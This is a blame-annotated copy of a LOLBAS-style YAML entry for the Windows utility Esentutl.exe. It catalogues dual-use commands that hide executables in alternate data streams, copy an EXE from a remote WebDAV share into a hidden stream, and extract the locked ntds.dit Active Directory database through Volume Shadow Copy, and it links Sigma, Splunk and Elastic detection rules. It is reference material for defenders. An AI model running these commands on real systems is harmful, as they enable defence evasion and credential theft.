2018-06-09 00:15:06 +02:00
|
|
|
---
|
|
|
|
Name: Esentutl.exe
|
2018-09-24 21:59:43 +02:00
|
|
|
Description: Binary for working with Microsoft Joint Engine Technology (JET) database
|
|
|
|
Author: 'Oddvar Moe'
|
2021-01-10 16:04:52 +01:00
|
|
|
Created: 2018-05-25
|
2018-06-09 00:15:06 +02:00
|
|
|
Commands:
|
|
|
|
- Command: esentutl.exe /y C:\folder\sourcefile.vbs /d C:\folder\destfile.vbs /o
|
|
|
|
Description: Copies the source VBS file to the destination VBS file.
|
2018-09-24 21:59:43 +02:00
|
|
|
Usecase: Copies files from A to B
|
2021-01-10 16:04:52 +01:00
|
|
|
Category: Copy
|
2018-09-24 21:59:43 +02:00
|
|
|
Privileges: User
|
|
|
|
MitreID: T1105
|
2021-12-14 16:50:17 +01:00
|
|
|
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
|
2018-06-09 00:15:06 +02:00
|
|
|
- Command: esentutl.exe /y C:\ADS\file.exe /d c:\ADS\file.txt:file.exe /o
|
|
|
|
Description: Copies the source EXE to an Alternate Data Stream (ADS) of the destination file.
|
2018-09-24 21:59:43 +02:00
|
|
|
Usecase: Copy file and hide it in an alternate data stream as a defensive counter measure
|
2018-09-26 09:34:01 +02:00
|
|
|
Category: ADS
|
2018-09-24 21:59:43 +02:00
|
|
|
Privileges: User
|
2021-11-05 19:58:26 +01:00
|
|
|
MitreID: T1564.004
|
2021-12-14 16:50:17 +01:00
|
|
|
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
|
2018-06-09 00:15:06 +02:00
|
|
|
- Command: esentutl.exe /y C:\ADS\file.txt:file.exe /d c:\ADS\file.exe /o
|
|
|
|
Description: Copies the source Alternate Data Stream (ADS) to the destination EXE.
|
2018-09-24 21:59:43 +02:00
|
|
|
Usecase: Extract hidden file within alternate data streams
|
2018-09-26 09:34:01 +02:00
|
|
|
Category: ADS
|
2018-09-24 21:59:43 +02:00
|
|
|
Privileges: User
|
2021-11-05 19:58:26 +01:00
|
|
|
MitreID: T1564.004
|
2021-12-14 16:50:17 +01:00
|
|
|
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
|
2018-09-24 21:59:43 +02:00
|
|
|
- Command: esentutl.exe /y \\192.168.100.100\webdav\file.exe /d c:\ADS\file.txt:file.exe /o
|
2021-01-10 16:04:52 +01:00
|
|
|
Description: Copies the remote source EXE to the destination Alternate Data Stream (ADS) of the destination file.
|
2018-09-24 21:59:43 +02:00
|
|
|
Usecase: Copy file and hide it in an alternate data stream as a defensive counter measure
|
2018-09-26 09:34:01 +02:00
|
|
|
Category: ADS
|
2018-09-24 21:59:43 +02:00
|
|
|
Privileges: User
|
2021-11-05 19:58:26 +01:00
|
|
|
MitreID: T1564.004
|
2021-12-14 16:50:17 +01:00
|
|
|
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
|
2018-06-09 00:15:06 +02:00
|
|
|
- Command: esentutl.exe /y \\live.sysinternals.com\tools\adrestore.exe /d \\otherwebdavserver\webdav\adrestore.exe /o
|
|
|
|
Description: Copies the source EXE to the destination EXE file
|
2018-09-24 21:59:43 +02:00
|
|
|
Usecase: Use to copy files from one unc path to another
|
|
|
|
Category: Download
|
|
|
|
Privileges: User
|
2021-11-05 19:58:26 +01:00
|
|
|
MitreID: T1564.004
|
2021-12-14 16:50:17 +01:00
|
|
|
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
|
2019-02-12 14:15:55 +01:00
|
|
|
- Command: esentutl.exe /y /vss c:\windows\ntds\ntds.dit /d c:\folder\ntds.dit
|
|
|
|
Description: Copies a (locked) file using Volume Shadow Copy
|
|
|
|
Usecase: Copy/extract a locked file such as the AD Database
|
2021-01-10 16:04:52 +01:00
|
|
|
Category: Copy
|
2019-02-12 14:15:55 +01:00
|
|
|
Privileges: Admin
|
2021-11-05 21:32:44 +01:00
|
|
|
MitreID: T1003.003
|
2021-12-14 16:50:17 +01:00
|
|
|
OperatingSystem: Windows 10, Windows 11, Windows 2016 Server, Windows 2019 Server
|
|
|
|
|
2018-12-10 14:28:12 +01:00
|
|
|
Full_Path:
|
2018-09-24 21:59:43 +02:00
|
|
|
- Path: C:\Windows\System32\esentutl.exe
|
|
|
|
- Path: C:\Windows\SysWOW64\esentutl.exe
|
2021-01-10 16:04:52 +01:00
|
|
|
Code_Sample:
|
2022-09-11 07:07:18 +02:00
|
|
|
- Code:
|
2018-09-24 21:59:43 +02:00
|
|
|
Detection:
|
2023-06-19 23:40:24 +02:00
|
|
|
- Sigma: https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_esentutl_params.yml
|
|
|
|
- Sigma: https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_esentutl_webcache.yml
|
|
|
|
- Sigma: https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/registry/registry_event/registry_event_esentutl_volume_shadow_copy_service_keys.yml
|
|
|
|
- Sigma: https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_esentutl_sensitive_file_copy.yml
|
2022-09-11 07:07:18 +02:00
|
|
|
- Splunk: https://github.com/splunk/security_content/blob/86a5b644a44240f01274c8b74d19a435c7dae66e/detections/endpoint/esentutl_sam_copy.yml
|
|
|
|
- Elastic: https://github.com/elastic/detection-rules/blob/f6421d8c534f295518a2c945f530e8afc4c8ad1b/rules/windows/credential_access_copy_ntds_sam_volshadowcp_cmdline.toml
|
2018-06-09 00:15:06 +02:00
|
|
|
Resources:
|
2018-09-24 21:59:43 +02:00
|
|
|
- Link: https://twitter.com/egre55/status/985994639202283520
|
2019-02-12 14:15:55 +01:00
|
|
|
- Link: https://dfironthemountain.wordpress.com/2018/12/06/locked-file-access-using-esentutl-exe/
|
|
|
|
- Link: https://twitter.com/bohops/status/1094810861095534592
|
2018-09-24 21:59:43 +02:00
|
|
|
Acknowledgement:
|
|
|
|
- Person: egre55
|
|
|
|
Handle: '@egre55'
|
2019-02-12 14:15:55 +01:00
|
|
|
- Person: Mike Cary
|
2022-09-14 05:37:10 +02:00
|
|
|
Handle: '@grayfold3d'
|